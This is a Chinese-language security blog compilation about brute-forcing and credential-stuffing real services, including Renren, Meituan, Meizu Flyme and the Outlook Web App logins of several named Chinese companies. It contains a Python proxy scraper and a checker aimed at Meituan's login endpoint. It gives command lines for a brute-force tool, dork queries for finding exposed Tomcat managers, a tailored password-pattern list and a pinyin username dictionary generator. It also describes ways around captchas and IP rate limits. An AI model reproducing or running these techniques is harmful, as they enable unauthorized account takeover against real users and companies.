批量获取及验证HTTP代理Python脚本

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
    html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
    soup = BeautifulSoup(html_doc)
    trs = soup.find('table', id='ip_list').find_all('tr')
    for tr in trs[1:]:
        tds = tr.find_all('td')
        ip = tds[1].text.strip()
        port = tds[2].text.strip()
        protocol = tds[5].text.strip()
        if protocol == 'HTTP' or protocol == 'HTTPS':
            of.write('%s=%s:%s\n' % (protocol, ip, port) )
            print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
    while True:
        lock.acquire()
        line = inFile.readline().strip()
        lock.release()
        if len(line) == 0: break
        protocol, proxy = line.split('=')
        headers = {'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': ''}
        try:
            conn = httplib.HTTPConnection(proxy, timeout=3.0)
            conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
            res = conn.getresponse()
            ret_headers = str( res.getheaders() ) 
            html_doc = res.read().decode('utf-8')
            print html_doc.encode('gbk')
            if ret_headers.find(u'/m/account/login/') > 0:
                lock.acquire()
                print 'add proxy', proxy
                outFile.write(proxy + '\n')
                lock.release()
            else:
                print '.',
        except Exception, e:
            print e

all_thread = []
for i in range(50):
    t = threading.Thread(target=test)
    all_thread.append(t)
    t.start()
    
for t in all_thread:
    t.join()

inFile.close()
outFile.close()

htpwdScan增加HTTP Basic Auth暴力破解

昨晚下班后把HTTP Basic认证的暴力破解功能加入到htpwsScan脚本了。改动的地方比较多,还未严格测试。

用法:

htpwdScan.py  -basic users.dic pass.dic -u=http://www.test.com/need-auth-url/

-basic 后指定用户名和密码字典

-u指定URL,通常无需从文件导入HTTP请求

破解成功的序列输出类似:

403[Basic Auth] tomcat:tomcat http://www.gedn.com/manager/html

介绍一个批量利用Tomcat的小技巧:

在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:

intitle:”Apache Tomcat”  intext:”Thanks for using Tomcat!”

对于较新版本,则使用如下关键词:

intitle:”Apache Tomcat/7.0.42″

为了匹配更多的7.0版本,考虑使用:

intitle:Apache Tomcat/7.0.

“Apache Software Foundation.” intitle:Apache Tomcat/7.0

关于关键词的组合,不再详细介绍。 试用新的功能:https://github.com/lijiejie/htpwdScan

htpwdScan使用介绍 [1] – 猜解魅族flyme账号,暴力破解

这里以魅族Flyme的账号破解为例,介绍htpwdScan的使用。页面地址 https://member.meizu.com/login.jsp

输入一个不存在的用户名,返回Error 11,而密码错误返回Error 14。(在浏览器查看源代码)

因为脚本会自动替换\r \n \t等空白字符串,所以先debug查看返回的响应文本,来选择一个关键字:

执行:

htpwdScan.py -f=meizu.txt -d uname=pinyin2.txt pwd=password.txt -debug

在响应文本中复制value=”11″作为特征串,请注意,在cmd中输入这个串,双引号需要转义。执行测试,看能否根据此关键字进行破解:

htpwdScan.py -f=meizu.txt -d uname=pinyin2.txt pwd=password.txt -err=value=\”11\” -debug

好了,确定没有出现破解成功的提示,说明关键词是能用的。 继续阅读htpwdScan使用介绍 [1] – 猜解魅族flyme账号,暴力破解

Microsoft Outlook WebAPP暴力破解脚本

国内很多互联网公司都在使用Outlook Web APP:

http://email.baidu.com    https://mail.letv.com/      https://mail.youku.com/    http://mail.renren-inc.com    https://mail.sohu-inc.com/    https://mail.ifeng.com/      https://mail.iqiyi.com/     https://mail.ganji.com/   https://mail.meizu.com/

攻击者可以从登陆页直接尝试暴力破解。如果能预先猜解到用户名,则破解的效率更高。

这里密码复杂度要求比较高,难于使用一般的弱口令字典来破解,最好是自己定义一个列表。

比如说破解人人网的账号,可以用类似:

<user>123
<user>123456
<user>RENREN123
<user>@renren.com
<user>.renren.com
<user>@renren
<user>@RENREN
<user>_renren
renren@<user>
renren_<user>
renren@123
www.renren.com
renren.com
1234qwer
renren123456
renren666666
123.com
renren520
renrenMAIL123456

对提供的脚本做一点说明:

Outlook.py只有一个工作线程. Outlook_threaded.py是多线程版本.

测试发现多线程版本在SSL handshake时可能出错,比如破解email.baidu.com时。这跟服务器的稳定性有关。 目前的处理方法是出错后重试!

使用方法:

Outlook.py domain users passwords
domain是站点域名,users和passwords是字典文件的名称。
Outlook_threaded.py domain users passwords threads
再额外提供一个线程数,根据服务器的稳定性自行调整,程序不是自适应的

去GitHub获取脚本

暴力破解常用的双拼音和三拼字典

国人的姓名多数是双拼或3拼。 对于用户量巨大的系统,暴力破解可以直接用拼音字典来猜解用户名。单字的拼音如下表:

a ai an ang ao 
ba bai ban bang bao bei ben beng bi bian biao bie bin bing bo bu 
ca cai can cang cao ce cen ceng cha chai chan chang chao che chen cheng chi chong chou chu chuai chuan chuang chui chun chuo ci cong cou cu cuan cui cun cuo 
da dai dan dang dao de dei deng di dian diao die ding diu dong dou du duan dui dun duo 
e en er 
fa fan fang fei fen feng fo fou fu 
ga gai gan gang gao ge gei gen geng gong gou gu gua guai guan guang gui gun guo 
ha hai han hang hao he hei hen heng hong hou hu hua huai huan huang hui hun huo 
ji jia jian jiang jiao jie jin jing jiong jiu ju juan jue jun
ka kai kan kang kao ke ken keng kong kou ku kua kuai kuan kuang kui kun kuo 
la lai lan lang lao le lei leng li lia lian liang liao lie lin ling liu long lou lu luu luan luue lun luo 
ma mai man mang mao me mei men meng mi mian miao mie min ming miu mo mou mu 
na nai nan nang nao ne nei nen neng ni nian niang niao nie nin ning niu nong nu nuu nuan nuue nuo 
o ou 
pa pai pan pang pao pei pen peng pi pian piao pie pin ping po pou pu 
qi qia qian qiang qiao qie qin qing qiong qiu qu quan que qun 
ran rang rao re ren reng ri rong rou ru ruan rui run ruo 
sa sai san sang sao se sen seng sha shai shan shang shao she shei shen sheng shi shou shu shua shuai shuan shuang shui shun shuo si song sou su suan sui sun suo 
ta tai tan tang tao te teng ti tian tiao tie ting tong tou tu tuan tui tun tuo 
wa wai wan wang wei wen weng wo wu 
xi xia xian xiang xiao xie xin xing xiong xiu xu xuan xue xun 
ya yai yan yang yao ye yi yin ying yong you yu yuan yue yun 
za zai zan zang zao ze zei zen zeng zha zhai zhan zhang zhao zhe zhei zhen zheng zhi zhong zhou zhu zhua zhuai zhuan zhuang zhui zhun zhuo zi zong zou zu zuan zui zun zuo

生成双拼和3拼字典文件,代码如下:

#encoding=gbk

words = []
with open('pinyin.txt') as inFile:
    while True:
        word = inFile.readline().strip().split(' ')
        if len(word) < 2: break
        words += word

with open('2_words_pinyin.txt', 'w') as f2:
    with open('3_words_pinyin.txt', 'w') as f3:
        for w1 in words:
            for w2 in words:
                f2.write(w1 + w2 + '\n')
                for w3 in words:
                  f3.write(w1 + w2 + w3 + '\n')  

因为3拼文件太大,笔者将其压缩上传到网盘:http://pan.baidu.com/s/1hqKH8gc

双拼字典下载:2_words_pinyin

一个简单的HTTP暴力破解python脚本

在以往的渗透测试过程中,我常使用暴力破解来作为突破口。

破解过包括ADSL、客户端软件账号、web后台、NT Server、SSH、FTP、MySQL、Email等,

主要通过两种方式:

1. 基于协议暴力破解

2. 模拟点击、模拟按键等进行客户端暴力破解

当然,其中还涉及到ADSL重新拨号换IP、验证码识别的细节。

前述到此。

下面是我写的一个非常简短的Python脚本,用于http暴力破解。

继续阅读一个简单的HTTP暴力破解python脚本